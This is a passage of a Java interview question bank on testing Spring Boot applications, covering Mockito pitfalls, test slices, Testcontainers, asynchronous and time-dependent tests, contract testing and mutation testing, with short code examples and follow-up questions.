Q55 `@WebMvcTest` fails with "No qualifying bean of type UserService". What do you do? BASIC

The slice does not component-scan `@Service` beans. Declare `@MockBean` / `@MockitoBean UserService service;` or `@Import` a real implementation and its dependencies.

- Do not switch to `@SpringBootTest` just to silence this; you lose the speed of the slice.

- If the controller needs many beans, that may indicate it is doing too much.

> **FOLLOW-UP TRAPS**
> - **Why are filters and `@ControllerAdvice` still loaded?** They are part of the web slice by type filter.
> - **Does `@MockBean` return `null` for unstubbed calls?** Yes, defaults such as `null`, empty collections.

#webmvctest #mockbean #scenario

Q56 A repository test with H2 passes locally but the same query fails in production PostgreSQL. What is the fix? INTERMEDIATE

H2 differs in SQL dialect, JSON/array types, locking, case handling and constraint behaviour. Run `@DataJpaTest` against a Testcontainers PostgreSQL with `@AutoConfigureTestDatabase(replace = Replace.NONE)`, using the same Flyway migrations.

```
@DataJpaTest
@AutoConfigureTestDatabase(replace = Replace.NONE)
@Testcontainers
class UserRepoTest {
    @Container @ServiceConnection
    static PostgreSQLContainer<?> pg = new PostgreSQLContainer<>("postgres:16");
}
```

- H2 `MODE=PostgreSQL` narrows gaps but does not remove them.

> **FOLLOW-UP TRAPS**
> - **Does `@DataJpaTest` use your real DataSource by default?** No, it swaps in an embedded DB.
> - **Does `ddl-auto=create-drop` validate migrations?** No; use Flyway/Liquibase in tests too.

#testcontainers #h2 #datajpatest #scenario

Q57 A `@Transactional` test passes, but production throws `LazyInitializationException`. Why? ADVANCED

The test method's transaction keeps the persistence context open, so lazy associations load at any point. In production the service transaction ends and the entity is detached before the view/serializer touches the lazy field.

- Fix the code (fetch join, `@EntityGraph`, DTO projection) and make the test expose it: remove test `@Transactional`, or call `entityManager.flush(); entityManager.clear();` before asserting, or run via the real service boundary.
- Same effect hides missing flushes and constraint violations until commit.

> **FOLLOW-UP TRAPS**
> - **Does `@Transactional` on a test method roll back by default?** Yes, after the test.
> - **Does `clear()` alone expose the problem?** Only if the access happens outside an open session in the test.

#transactional #jpa #lazy-loading #scenario

Q58 An integration test with `@SpringBootTest(webEnvironment = RANDOM_PORT)` and `@Transactional` leaves data behind. Why? ADVANCED

The HTTP request is handled by a server thread with its own transaction that commits; the test-managed transaction on the test thread does not cover it, so rollback never undoes those writes.

- Clean up explicitly: `@Sql` cleanup script, truncating in `@AfterEach`, or Testcontainers per class.
- With `MOCK` environment and `MockMvc` the request runs on the test thread and the rollback does work.

FOLLOW-UP TRAPS

- **Does `MockMvc` share the test transaction?** Yes, same thread.
- **Is `@DirtiesContext` an appropriate cleanup?** No, it is expensive and unrelated to data.

#springboottest #transactional #random-port #scenario

Q59 Test suite time doubled after adding `@MockBean` to a few test classes. Why and how do you fix it? ADVANCED

Spring caches application contexts by configuration key. Each distinct combination of `@MockBean`s, `@TestPropertySource`, active profiles or `@DirtiesContext` produces a new context, which must be started again.

- Consolidate mocks in a shared abstract base class or a `@TestConfiguration` so many classes use one key.
- Prefer slices (`@WebMvcTest`) and plain unit tests to reduce `@SpringBootTest` count.
- Check the log line "Started ... in" count, and enable context cache logging (`logging.level.org.springframework.test.context.cache=DEBUG`).

FOLLOW-UP TRAPS

- **Does `@DirtiesContext` help speed?** No, it forces a restart.
- **Is the cache shared across JVM forks?** No, each forked JVM has its own cache.

#springboottest #context-cache #mockbean #scenario

Q60 Test uses `Thread.sleep(2000)` to wait for an async listener and is flaky in CI. Fix it. INTERMEDIATE

Replace the sleep with polling for the observable outcome using Awaitility; it returns as soon as the condition holds and fails only after a timeout.

```
publisher.send(event);
await().atMost(Duration.ofSeconds(5))
       .pollInterval(Duration.ofMillis(50))
       .untilAsserted(() -> assertThat(store.find(event.id())).isPresent());
```

- A fixed sleep is simultaneously slow on fast machines and too short on slow ones.
- If possible make the executor injectable and synchronous in tests.

FOLLOW-UP TRAPS

- **What is Awaitility's default timeout?** 10 seconds.
- **Can the lambda's exceptions end the wait early?** Not with `untilAsserted`; assertion errors are retried until timeout.

#flaky-tests #awaitility #scenario

Q61 A test calls `LocalDate.now()` and fails only on the last day of a month. How do you fix the design? BASIC

The code depends on the real current date. Inject `Clock` into the class, call `LocalDate.now(clock)`, and construct the test with `Clock.fixed(...)` for the boundary case you want, such as 31 January.

- Add tests for edge dates: month end, leap day 29 Feb, DST change, year boundary.
- Avoid `ZoneId.systemDefault()` in code and tests; use an explicit zone.

FOLLOW-UP TRAPS

- **Why also fail on machines in other time zones?** `LocalDate.now()` uses the system zone, so "today" differs.
- **Is `mockStatic(LocalDate.class)` a good alternative?** Works, but is intrusive and thread-local; prefer a `Clock`.

#time #clock #flaky-tests #scenario

Q62 What is the output of this parameterized test? BASIC

```
@ParameterizedTest
@CsvSource({"1,2,3", "2,2,4", "5,5,11"})
void adds(int a, int b, int sum) { assertEquals(sum, a + b); }
```

The test runs three invocations; the first two pass and the third fails (5 + 5 = 10, not 11). The report shows 2 passed, 1 failed with the failing row's arguments; the other rows are not affected.

- Display names default to `[3] 5, 5, 11`.
- `@CsvSource` converts strings to `int` implicitly.

FOLLOW-UP TRAPS

- **Does the build stop at the first failing row?** No, all rows execute.
- **How to pass null in `@CsvSource`?** Leave a field empty or use `nullValues = "NULL"`.

#junit5 #parameterized #scenario

Q63 A static `@MockedStatic` was created but not closed; other tests now behave strangely. Explain. ADVANCED

`mockStatic` registers a thread-local mock on the creating thread. If it is not closed, the static stays mocked for later tests on that thread, and the next `mockStatic` of the same class throws "static mocking is already registered in the current thread".

```
try (MockedStatic<Files> f = mockStatic(Files.class)) {
    f.when(() -> Files.exists(any())).thenReturn(true);
    // code under test
}  // closed here, real behaviour restored
```

- Use try-with-resources or `@AfterEach` close; never create in `@BeforeAll` shared across parallel tests.
- Mocking JDK classes broadly (Files, System) can break the test framework itself.

FOLLOW-UP TRAPS

- **Does parallel execution leak static mocks across threads?** No, they are thread-scoped, but sequential tests on the same thread do see leaks.
- **What is the cleaner design?** Wrap the static call behind an injectable interface.

#mockito #mockstatic #scenario

Q64 You must test code that calls `new HttpClient()` internally. How? INTERMEDIATE

Best: refactor to inject the client or a factory. Fallback: `mockConstruction(HttpClient.class, (mock, ctx) -> when(mock.send(...)).thenReturn(resp))` intercepts constructors invoked within the scope of the try block.

- `mockConstruction` also works with the inline mock maker only.
- Hard-to-test code is a design signal: new-ing collaborators inside methods couples the class to their implementation.
- For HTTP specifically, point the real client at WireMock.

FOLLOW-UP TRAPS

- **Does `mockConstruction` affect other threads?** It is thread-local like `mockStatic`.
- **Does it need a close?** Yes, it returns a `MockedConstruction` to close.

#mockito #mockconstruction #refactoring #scenario

Q65 **A test verifies `verify(emailService).send(any())` but the email is sent with the wrong recipient. How do you catch it?** BASIC

`any()` accepts everything, so the verification is vacuous. Capture the argument and assert on fields, or use `argThat` with a precise predicate.

```
var cap = ArgumentCaptor.forClass(Email.class);
verify(emailService).send(cap.capture());
assertThat(cap.getValue().to()).isEqualTo("ann@x.com");
```

- If `Email` implements `equals`, `verify(emailService).send(expectedEmail)` is simplest.

FOLLOW-UP TRAPS

- **Which call do captors return with multiple invocations?** `getValue()` returns the last; `getAllValues()` returns all.
- **Does `verify` ignore the order of calls?** Yes, unless `InOrder` is used.

#mockito #argumentcaptor #verify #scenario

Q66 **A test passes alone but fails when the full suite runs. What are the usual causes and how do you investigate?** INTERMEDIATE

Shared mutable state leaks between tests: static fields or singletons, cached Spring context mutated by a test, leftover database rows, system properties, default `Locale` / `TimeZone`, files in a shared temp dir, or unclosed static mocks.

- Reproduce with the failing pair and random order (`junit.jupiter.testmethod.order.default=...Random`, Surefire `runOrder=random`).
- Bisect by running subsets; print state in `@AfterEach`.
- Fix by resetting in `@BeforeEach` / `@AfterEach`, or by removing the global state.

FOLLOW-UP TRAPS

- **Does `@DirtiesContext` cure order dependence?** It hides it for context state at a high cost.
- **Do Mockito mocks leak across tests?** Not with the extension; each test gets fresh mocks.

#flaky-tests #test-isolation #scenario

Q67 **Two `@Test` methods modify a `static` list and one fails in parallel mode. What do you do?** INTERMEDIATE

Parallel execution exposes the shared mutable static. Remove the sharing (instance field, new per test), or protect with `@ResourceLock("LIST")`, or force `@Execution(SAME_THREAD)` for that class.

- Default instance-per-method lifecycle already gives each test a fresh instance, so use instance fields.
- Fixtures on shared DB rows or ports need the same treatment: unique data per test.

FOLLOW-UP TRAPS

- **Does `@ResourceLock` serialize all tests?** Only those declaring the same resource key (read/write modes exist).
- **Does Surefire parallel equal JUnit parallel?** No, they are separate mechanisms.

#junit5 #parallel #shared-state #scenario

Q68 What does this fail with and why? ADVANCED

```
when(repo.find(anyLong(), "ACTIVE")).thenReturn(user);
```

It throws `InvalidUseOfMatchersException`: matchers and raw values cannot be mixed in a single call. Write `when(repo.find(anyLong(), eq("ACTIVE")))`.

- Mockito registers matchers on a stack as they are evaluated; mixed use makes the count mismatch the parameter count.
- A stray matcher in a previous test line may produce misattributed errors at a later `verify` call.

FOLLOW-UP TRAPS

- **Can you store `anyLong()` in a local variable and reuse?** No, it registers at the time of the call.
- **Why does the error sometimes appear at an unrelated line?** Leaked matcher state is detected at the next Mockito interaction.

#mockito #matchers #scenario

Q69 Service method catches an exception from a client and returns a fallback. How do you test both branches? BASIC

Stub the mock to throw in one test and return normally in another, then assert the result for each.

```
@Test void fallsBackWhenRemoteFails() {
    when(client.rate("USD")).thenThrow(new RuntimeException("down"));
    assertEquals(1.0, service.rate("USD"));
}
@Test void usesRemoteRate() {
    when(client.rate("USD")).thenReturn(0.9);
    assertEquals(0.9, service.rate("USD"));
}
```

- Only checked exceptions declared by the method can be thrown by `thenThrow`; otherwise Mockito reports "Checked exception is invalid for this method".

FOLLOW-UP TRAPS

- **Can `thenThrow(new IOException())` stub a method without `throws`?** No, Mockito rejects it.
- **Is verifying the logger call needed?** Usually not.

#exceptions #mockito #scenario

Q70 How would you test a method that returns a `CompletableFuture`? INTERMEDIATE

Join with a timeout and assert the result, or inject a direct/inline executor so the task completes on the calling thread.

```
var result = service.fetchAsync(1).get(2, TimeUnit.SECONDS);
assertEquals("ok", result);
```

- Test failure paths with `assertThrows(ExecutionException.class, ...)` and check `getCause()`.
- Always use a timeout; plain `get()` can hang the build.
- Use `Runnable::run` as `Executor` for deterministic tests; mock futures with `CompletableFuture.completedFuture` / `failedFuture`.

FOLLOW-UP TRAPS

- **What does `join()` throw on failure?** `CompletionException`, whereas `get()` throws `ExecutionException`.
- **Do tests with `supplyAsync` and the common pool run deterministically?** No, they depend on scheduling.

#concurrency #completablefuture #scenario

Q71 Race condition test: how do you try to expose a thread-safety bug in a counter? ADVANCED

Start N threads behind a latch so they run together, repeat many increments, then assert the final total.

```
var counter = new UnsafeCounter();
var start = new CountDownLatch(1);
var pool = Executors.newFixedThreadPool(8);
for (int i = 0; i < 8; i++)
    pool.submit(() -> { start.await(); for (int j = 0; j < 10_000; j++) counter.inc(); return
null; });
start.countDown(); pool.shutdown(); pool.awaitTermination(5, TimeUnit.SECONDS);
assertEquals(80_000, counter.get());
```

With a non-atomic `count++` the assertion typically fails with a lower number; a correct `AtomicInteger` always passes.

- A pass does not prove safety; use jcstress or review the memory model.
- Shut down pools in a `finally` / `@AfterEach` to avoid leaking threads.

FOLLOW-UP TRAPS

- **Why use a start latch?** To maximize contention instead of threads running one after another.
- **Does `volatile` make `count++` atomic?** No.

#concurrency #race-condition #scenario

Q72 A scheduled job `@Scheduled(cron=...)` needs tests. What is your approach? INTERMEDIATE

Extract the job body into a method (`processDueInvoices(Instant now)`), unit test that with a fixed `Clock` , and trust the framework for triggering. Add one small integration test verifying that the cron expression is valid (`CronExpression.parse`) and the bean is registered.

- Avoid waiting for real cron times in tests.
- Awaitility with a `fixedDelay` of a few ms property override is an option for wiring tests.
- Distributed locks (ShedLock) are tested with an integration test and a real DB.

FOLLOW-UP TRAPS

- **Should tests rely on `@EnableScheduling` ?** Disable it in most tests to avoid background runs.
- **How to check the cron string cheaply?** `CronExpression.parse("0 0 * * * *")` throws for invalid input.

#scheduling #time #scenario

Q73 A test creates users via a 12-argument constructor and 40 tests break when a field is added. How do you fix it? BASIC

Introduce a test data builder (or Object Mother returning a builder) with valid defaults, so constructor changes affect one place, and each test states only the fields relevant to its scenario.

- The test intent improves: `aUser().withAge(17).build()` says what matters.
- Keep builders in `src/test` , not production.
- Combine with `Instancio` or `EasyRandom` for large graphs if exact values are irrelevant.

FOLLOW-UP TRAPS

- **Should the builder's defaults be valid objects?** Yes, otherwise each test repairs them.
- **Why not reuse production builders?** They expand production API and may skip validation defaults.

#test-data-builder #maintainability #scenario

Q74 How do you test a REST client with timeout and retry behaviour? ADVANCED

Use WireMock fault injection: fixed delay longer than the client timeout, `Fault.CONNECTION_RESET_BY_PEER` , or scenario states that return 503 twice then 200.

```
stubFor(get("/rate").inScenario("retry").whenScenarioStateIs(STARTED)
    .willReturn(serverError()).willSetStateTo("second"));
stubFor(get("/rate").inScenario("retry").whenScenarioStateIs("second")
    .willReturn(ok("0.9")));
```

Assert the final result is `0.9` and `verify(2, getRequestedFor(urlEqualTo("/rate")))`.

- Keep timeouts small in test config to keep suites quick.
- Check that non-idempotent requests (POST) are not retried blindly.

FOLLOW-UP TRAPS

- **Can `MockRestServiceServer` test read timeouts?** No, there is no real socket.
- **Does a 4xx deserve retries?** Generally no.

#wiremock #resilience #scenario

Q75 **A Testcontainers-based suite is slow because every test class starts a new PostgreSQL. What do you do?** ADVANCED

Share one container across classes: the singleton container pattern (static field in an abstract base class started once, closed by Ryuk at JVM exit), or Spring Boot's `@ServiceConnection` on a bean in a shared `@TestConfiguration`.

- Reset data between tests rather than restarting the DB (truncate or per-test schema/template DB).
- `withReuse(true)` plus `testcontainers.reuse.enable=true` keeps containers across runs locally; do not use in CI.
- Use a lighter image tag and start dependent containers in parallel with `Startables.deepStart`.

FOLLOW-UP TRAPS

- **Who stops a singleton container?** The Ryuk resource reaper when the JVM exits.
- **Does `@Container` on a static field restart per test method?** No, once per class.

#testcontainers #performance #scenario

Q76 **A `@SpringBootTest` fails in CI with "Could not find a valid Docker environment" but passes locally. Why?** BASIC

CI runner has no reachable Docker daemon. Provide Docker (privileged runner, DinD sidecar, or a runner with the socket) or the Testcontainers Cloud agent, and make sure `DOCKER_HOST` is set when needed.

- Mark such tests with `@Testcontainers(disabledWithoutDocker = true)` for optional environments, but do not let CI silently skip them.
- Pull-rate limits on public registries: use a mirror and set `hub.image.name.prefix`.

FOLLOW-UP TRAPS

- **Should integration tests be skipped silently when Docker is missing?** In CI no, because it hides regressions.
- **Where do you configure the registry prefix?** `testcontainers.properties`.

#testcontainers #ci #scenario

Q77 **The `@DataJpaTest` shows the repository `save` works, but the unique constraint violation is never thrown. Why?** ADVANCED

Hibernate delays SQL until flush. The test transaction rolls back and never flushes, so the constraint is not checked. Call `repo.saveAndFlush(entity)` or `entityManager.flush()` inside `assertThrows(DataIntegrityViolationException.class, ...)`.

- With `GenerationType.IDENTITY` the insert is executed immediately, so the behaviour differs by id strategy.
- Clear the persistence context to verify reload from the DB rather than the first-level cache.

FOLLOW-UP TRAPS

- **Why does it throw with IDENTITY but not SEQUENCE?** IDENTITY needs an immediate insert to get the id; SEQUENCE defers it.
- **Exception type thrown by Spring Data?** `DataIntegrityViolationException` (translated), not raw `ConstraintViolationException`.

#datajpatest #flush #jpa #scenario

Q78 What happens in this test, and what is the improvement? INTERMEDIATE

```
assertThat(list.contains("a"));
```

Nothing is asserted: `assertThat(boolean)` returns an assert object and no terminal method is called, so the test always passes. Use `assertThat(list).contains("a")` for a descriptive failure message.

- Static analysis (Error Prone, SonarQube) can flag dangling `assertThat`.
- Also avoid `assertTrue(list.contains("a"))` since the failure message is just "expected true".

FOLLOW-UP TRAPS

- **Does `assertThat(x).isEqualTo(y)` fail with the same message as `assertTrue(x.equals(y))`?** No, AssertJ prints both values.
- **How to enforce terminal calls?** Use Sonar rule S2970 or Error Prone checks.

#assertj #assertions #scenario

Q79 How would you test an `equals` / `hashCode` implementation? INTERMEDIATE

Use EqualsVerifier, which checks reflexivity, symmetry, transitivity, consistency, null handling and the hashCode contract, including subclass and mutable-field pitfalls.

```
EqualsVerifier.forClass(Money.class).verify();
```

- Hand-written asserts miss cases such as symmetry with subclasses or null fields.
- JPA entities need `.suppress(Warning.SURROGATE_KEY)` or specific config depending on the strategy.

FOLLOW-UP TRAPS

- **Does a passing EqualsVerifier mean `equals` matches business meaning?** No, only the contract.
- **Do Lombok `@EqualsAndHashCode` classes need this?** Generated code is correct but field selection may not be.

#equals #hashcode #equalsverifier #scenario

Q80 A team enforces 90% line coverage and tests are now full of assertion-free calls. How do you respond? INTERMEDIATE

Coverage as a target gets gamed. Switch to meaningful signals: branch coverage on changed code (diff coverage), mutation score via PIT on critical modules, and code review of test intent.

- Run PIT in CI nightly; surviving mutants list exactly the weak assertions.
- Remove coverage gates on trivial code; keep a floor, not a target.
- Add assertion-less test detection via Sonar.

FOLLOW-UP TRAPS

- **Does PIT replace JaCoCo?** No; PIT only mutates covered lines, so coverage is still the first filter.
- **What is an equivalent mutant?** A change that does not alter behaviour, so no test can kill it.

#coverage #mutation-testing #scenario

Q81 PIT reports a surviving mutant at `if (age >= 18)` changed to `age > 18`. What does it mean? ADVANCED

No test exercises the boundary value 18, so the test suite cannot distinguish `>=` from `>`. Add a test (or parameterized row) with age exactly 18 expecting adult.

```
@ParameterizedTest
@CsvSource({"17,false", "18,true", "19,true"})
void adultBoundary(int age, boolean expected) { assertEquals(expected, rules.isAdult(age)); }
```

- Boundary-value analysis is the general fix for "conditional boundary" mutants.

FOLLOW-UP TRAPS

- **Does 100% branch coverage guarantee a kill?** No, both branches may execute without testing the boundary.
- **Is a survivor always a test problem?** Sometimes it is an equivalent mutant or dead code.

#pitest #boundary #scenario

Q82 Mocking `UUID.randomUUID()` is hard in a legacy class. What is the cleanest refactor? BASIC

Inject a `Supplier<UUID>` (or `IdGenerator`) via the constructor; production passes `UUID::randomUUID`, tests pass `() -> FIXED`.

```
class OrderFactory {
    private final Supplier<UUID> ids;
    OrderFactory(Supplier<UUID> ids) { this.ids = ids; }
    Order create() { return new Order(ids.get()); }
}
```

- Same technique for `Clock`, `Random`, `System.getenv`.
- It avoids the thread-local pitfalls of `mockStatic`.

FOLLOW-UP TRAPS

- **Is `mockStatic(UUID.class)` wrong?** It works, but it is a workaround for missing seams.
- **Do you also need an interface?** `Supplier` or a functional interface is enough.

#determinism #refactoring #scenario

Q83 A test passes with `@MockBean` on a service but fails when replaced by `@Mock` and `@InjectMocks`. What differs? INTERMEDIATE

`@InjectMocks` uses constructor, then setter/field injection; if the target has two constructor args and only one `@Mock` exists, the missing one is `null`. Field injection by type is ambiguous with two mocks of the same type, so Mockito uses the field name.

- Spring wiring (`@Value`, `@Autowired` by qualifier, proxies, `@PostConstruct`) does not run, so values stay default.
- Create the object explicitly: `new Service(repo, clock)`; then no injection surprises exist.

FOLLOW-UP TRAPS

- **Does `@InjectMocks` call `@PostConstruct`?** No.
- **Do `@Value` fields get populated with `@InjectMocks`?** No, use `ReflectionTestUtils.setField` or constructor args.

#injectmocks #spring-boot #scenario

Q84 How do you test a `@Value`-bound configuration class or `@ConfigurationProperties`? INTERMEDIATE

Use `ApplicationContextRunner` (no full context) or `@SpringBootTest(classes = ..., properties = ...)`; or `@EnableConfigurationProperties` in a minimal slice.

```
new ApplicationContextRunner()
    .withUserConfiguration(AppConfig.class)
    .withPropertyValues("app.timeout=5s")
    .run(ctx -> assertThat(ctx.getBean(AppProps.class).timeout())
                    .isEqualTo(Duration.ofSeconds(5)));
```

- Test validation failures: `run(ctx -> assertThat(ctx).hasFailed())`.
- Same runner tests conditional auto-configuration.

FOLLOW-UP TRAPS

- **Does `ApplicationContextRunner` start the web server?** No.
- **Does `@ConfigurationProperties` validation need `@Validated`?** Yes, with a Bean Validation provider.

#spring-boot #configuration-properties #scenario

Q85 How do you test a Kafka consumer in a Spring Boot app? ADVANCED

Unit test the handler logic with plain objects; for wiring, run a Kafka Testcontainer (or `@EmbeddedKafka`), publish a record with `KafkaTemplate`, and use Awaitility to assert the effect, since consumption is asynchronous.

- Use unique topic and group names per test (or a fresh container) to avoid cross-test offsets.
- Set `auto.offset.reset=earliest` for the test consumer so it sees the record.
- Test idempotency by sending the same record twice and the dead-letter path with a poison message.

FOLLOW-UP TRAPS

- **Why does the consumer sometimes miss the message?** It subscribed after the send with `latest` offset reset.
- **Is `Thread.sleep` ok for waiting?** No; poll with a timeout.

#testcontainers #kafka #integration-test #scenario

Q86 When would you choose contract tests over E2E tests between two microservices? INTERMEDIATE

When the main risk is interface drift (field renamed, status code changed) and the services are owned by different teams. Contract tests run independently in each pipeline in seconds, while E2E needs both deployed and is slow and flaky.

- Keep a few E2E smoke tests for critical journeys.
- Pact `can-i-deploy` and provider verification on consumer pact changes catch breakage before release.
- Contracts should assert structure and essential values with matchers, not exact data.

FOLLOW-UP TRAPS

- **Should a contract assert every provider field?** No, only the fields consumers use, so the provider stays free to evolve.
- **Is a contract test a test of business rules?** No.

#contract-testing #microservices #scenario

Q87 A consumer pact fails on provider verification for a new required header. Who fixes what? ADVANCED

Provider verification failed because the provider no longer satisfies the consumer's expectation (or the consumer added a new one). Decide who is right: if the consumer needs the header, the provider adds support; if the provider changed incompatibly, it must stay backward compatible (add, deprecate, then remove) before verification passes.

- Use provider states to set up data (`given("user 1 exists")`).
- Pending pacts and WIP pacts stop new consumer expectations from failing the provider build unexpectedly.

FOLLOW-UP TRAPS

- **What are provider states?** Setup hooks that put the provider in the data state a pact expects.
- **What does `can-i-deploy` check?** Whether a version's pacts are verified against the target environment's versions.

#pact #contract-testing #scenario

Q88 Controller test with `MockMvc` returns 200 but the JSON is wrong. How do you assert JSON properly? BASIC

Use `jsonPath` or `content().json(expected, strict)` (JSONassert) rather than string equality, so field order and whitespace do not matter.

```
mvc.perform(get("/users/1"))
   .andExpect(status().isOk())
   .andExpect(jsonPath("$.name").value("Ann"))
   .andExpect(jsonPath("$.roles", hasSize(2)));
```

- `content().json(str)` is lenient by default (extra fields allowed); pass `true` for strict.
- `MvcResult` plus `ObjectMapper` lets you deserialize into a DTO and use AssertJ.

FOLLOW-UP TRAPS

- **Does lenient JSON compare allow extra fields?** Yes.
- **Does it check array order in lenient mode?** Order is not checked in lenient mode; strict checks order.

#mockmvc #json #scenario

Q89 How do you test validation (`@Valid`) and the exception handler returning 400? BASIC

Send an invalid payload through `MockMvc` in `@WebMvcTest`; `MethodArgumentNotValidException` is handled by the `@ControllerAdvice` (also in the slice) or default handler, giving status 400.

```
mvc.perform(post("/users").contentType(APPLICATION_JSON)
    .content("{\"email\":\"bad\"}"))
   .andExpect(status().isBadRequest())
   .andExpect(jsonPath("$.errors[0].field").value("email"));
```

- Unit-test the validator itself with `Validation.buildDefaultValidatorFactory()` for custom constraints.
- Missing `@Valid` means no validation: the test would return 2xx and expose it.

FOLLOW-UP TRAPS

- **Does constructor-level `@NotNull` on a service parameter validate?** Only with `@Validated` on the bean (method validation) and a proxy.
- **Spring Boot 3 import?** `jakarta.validation`, not `javax`.

#validation #webmvctest #scenario

Q90 Mock returns `null` for a `Map` return and the code NPEs. Why not? BASIC

Mockito's `RETURNS_DEFAULTS` returns empty collections (`Map`, `List`, `Set`), empty `Optional` / `Stream`, 0/false for primitives, and `null` for other object types. So `getSettings()` returning `Map` gives an empty map, not `null`, but a method returning a custom `Config` gives `null` and may NPE.

- Stub explicitly rather than relying on defaults; hidden defaults make tests misleading.
- `RETURNS_SMART_NULLS` improves the failure message for such NPEs.

FOLLOW-UP TRAPS

- **Does a `String` return default to `""`?** No, `null`.
- **Does `int`-returning method give `null`?** No, `0`.

#mockito #defaults #scenario

Q91 Verify that a method was called exactly once even though it is called inside a loop with different args. How? INTERMEDIATE

Use `verify(mock, times(1)).send(eq("a"))` per argument, or `verify(mock, times(3)).send(anyString())` for the total, and capture values for the set check.

```
verify(notifier, times(3)).send(captor.capture());
assertThat(captor.getAllValues()).containsExactlyInAnyOrder("a", "b", "c");
```

- Plain `verify(notifier).send(anyString())` fails with `TooManyActualInvocations` for 3 calls.

FOLLOW-UP TRAPS

- **What exception does Mockito raise for a wrong count?** `TooManyActualInvocations` or `TooFewActualInvocations`.
- **Is the order of `getAllValues()` the call order?** Yes.

#mockito #verify #scenario

Q92 Why is `Mockito.mock(String.class)` failing or bad practice, and what do you use for value objects? BASIC

`String` is a final JDK class and mocking it is rejected or fragile, and mocking any simple value object is pointless: use real instances (`"abc"`, `new Money(10)`). Mock only collaborators with behaviour or I/O.

- Rule of thumb: do not mock what you own if cheap to construct, and do not mock types you do not own (wrap them).
- Over-mocking produces tests that restate the implementation.

FOLLOW-UP TRAPS

- **Can you mock `List`?** You can, but a real `ArrayList` is simpler and more faithful.
- **Is mocking an `ObjectMapper` a good idea?** No, use a real one.

#mockito #value-objects #scenario

Q93 `@SpringBootTest` run reuses a cached context where a test altered a bean's state. What is the symptom and fix? ADVANCED

Later tests see leftover state (cache entries, counters, in-memory queues) because singleton beans are shared across cached contexts. Fix by resetting the state in `@AfterEach` (`cache.clear()`), using `@MockBean` resets, or as a last resort `@DirtiesContext` for that class.

- `@DirtiesContext` forces context rebuild after the class or method, costing seconds.
- Design beans so tests can reset them explicitly.

FOLLOW-UP TRAPS

- **Are Mockito mocks from `@MockBean` reset automatically?** Yes, after each test.
- **Does a real in-memory cache bean reset?** No.

#springboottest #context-cache #dirtiescontext #scenario

Q94 How do you test a method protected with `@PreAuthorize("hasRole('ADMIN')")`? INTERMEDIATE

Load a context with method security enabled (`@SpringBootTest` or a slice with `@EnableMethodSecurity` imported) and annotate the test with `@WithMockUser(roles = "ADMIN")` for the success case; for the other, expect `AccessDeniedException`.

```
@Test @WithMockUser(roles = "USER")
void deniesUser() { assertThrows(AccessDeniedException.class, () -> service.purge()); }
```

- A plain `new Service()` unit test will never apply `@PreAuthorize` because it relies on the Spring proxy.

FOLLOW-UP TRAPS

- **Why does a unit test not enforce the annotation?** No proxy means no interceptor.
- **Does `@WithMockUser` need a user in the DB?** No; use `@WithUserDetails` for a real lookup.

#spring-security #method-security #scenario

Q95 A test that uses `new Random()` fails 1 in 50 runs. How do you handle it? BASIC

Treat it as a real bug until proven otherwise: log the seed on failure, replay it, and fix either the code (e.g. unhandled edge value) or the test (unfounded assumption). Make tests deterministic by seeding or by passing explicit values.

- Property-based frameworks (jqwik) print the failing seed and shrink inputs.
- Do not simply rerun and ignore.

FOLLOW-UP TRAPS

- **Is a flaky test always a test bug?** No, it often reveals a race or edge case in production code.
- **Can `ThreadLocalRandom` be seeded?** No.

#flaky-tests #random #scenario

Q96 How do you structure test code to avoid duplication without hiding intent? INTERMEDIATE

Extract setup into builders and small helper methods with intention-revealing names, keep arrange/act/assert visible in each test, and prefer a bit of duplication (DAMP) over clever shared fixtures (DRY) so a failure is readable alone.

- Use `@Nested` to group shared context.
- Avoid inheritance chains of test base classes with hidden state.
- Custom AssertJ assertions (`assertThat(order).isPaid()`) express domain checks.

FOLLOW-UP TRAPS

- **What is DAMP?** Descriptive And Meaningful Phrases: favour readability in tests over deduplication.
- **Is a giant shared `@BeforeEach` fine?** No, tests then depend on setup they do not mention.

#test-design #maintainability #scenario

Q97 A slow `@SpringBootTest` suite takes 20 minutes. Outline a plan to speed it up. ADVANCED

Measure first, then cut context starts and external waits.

- Count distinct contexts; consolidate `@MockBean` sets and profiles; use slices and plain unit tests where a full context is unneeded.

- Share one Testcontainers instance; truncate data rather than restart.
- Run Surefire/Failsafe with parallel forks and JUnit parallel where tests are isolated.
- Lazy initialization (`spring.main.lazy-initialization=true`) in tests.
- Replace sleeps with Awaitility; run only affected modules in PRs and the full suite on merge.

FOLLOW-UP TRAPS

- **Does lazy init change behaviour?** Beans start on first use, so wiring errors may show up later.
- **Is more parallelism always faster?** No, shared DB or CPU contention can slow it.

#test-performance #springboottest #scenario

Q98 A test mocks `repository.save(entity)` to return the entity but the code under test uses the returned instance's id. What goes wrong? INTERMEDIATE

An unstubbed `save` returns `null`, causing an NPE. Stub with an `Answer` that mimics JPA by assigning the id and returning the argument.

```
when(repo.save(any(Order.class))).thenAnswer(inv -> {
    Order o = inv.getArgument(0);
    o.setId(42L);
    return o;
});
```

- Alternatively use a fake in-memory repository for several tests.
- Do not blindly return the same argument unless the code does not depend on generated fields.

FOLLOW-UP TRAPS

- **Does real `save` always return the same instance?** No; `merge` for detached entities returns a different managed instance.
- **Should you use `returnsFirstArg()`?** AdditionalAnswers `returnsFirstArg()` is a concise equivalent.

#mockito #jpa #answer #scenario

Q99 Test calls a method that logs and swallows exceptions; how do you make the failure visible? INTERMEDIATE

Assert on the observable consequence (returned fallback, metric, retry call) and optionally capture logs with a Logback `ListAppender` or `OutputCaptureExtension`. Swallowed exceptions are a design smell: consider returning a result type or rethrowing.

```
var appender = new ListAppender<ILoggingEvent>(); appender.start();
((Logger) LoggerFactory.getLogger(Job.class)).addAppender(appender);
job.run();
assertThat(appender.list).extracting(ILoggingEvent::getLevel).contains(Level.ERROR);
```

FOLLOW-UP TRAPS

- **Should the appender be removed?** Yes, detach it in `@AfterEach` to avoid leaks.
- **Is asserting the exact message wise?** No; assert level and key content.

#exceptions #logging #scenario

Q100 How would you test file I/O code safely? BASIC

Use `@TempDir Path dir` so each test writes into an isolated, auto-deleted directory, and accept a `Path` or `FileSystem` in the code under test.

```
@Test void writesReport(@TempDir Path dir) throws IOException {
    Path out = dir.resolve("r.txt");
    writer.write(out, "hi");
    assertEquals("hi", Files.readString(out));
}
```

- Avoid hard-coded paths and `/tmp` names that collide in parallel runs.
- In-memory file systems (Jimfs) can simulate Windows/Unix differences.

FOLLOW-UP TRAPS

- **Is the temp directory deleted if the test fails?** Yes, by default (`cleanup` mode can keep it).
- **Does it work as a `static` field?** Yes, one directory shared by all tests in the class.

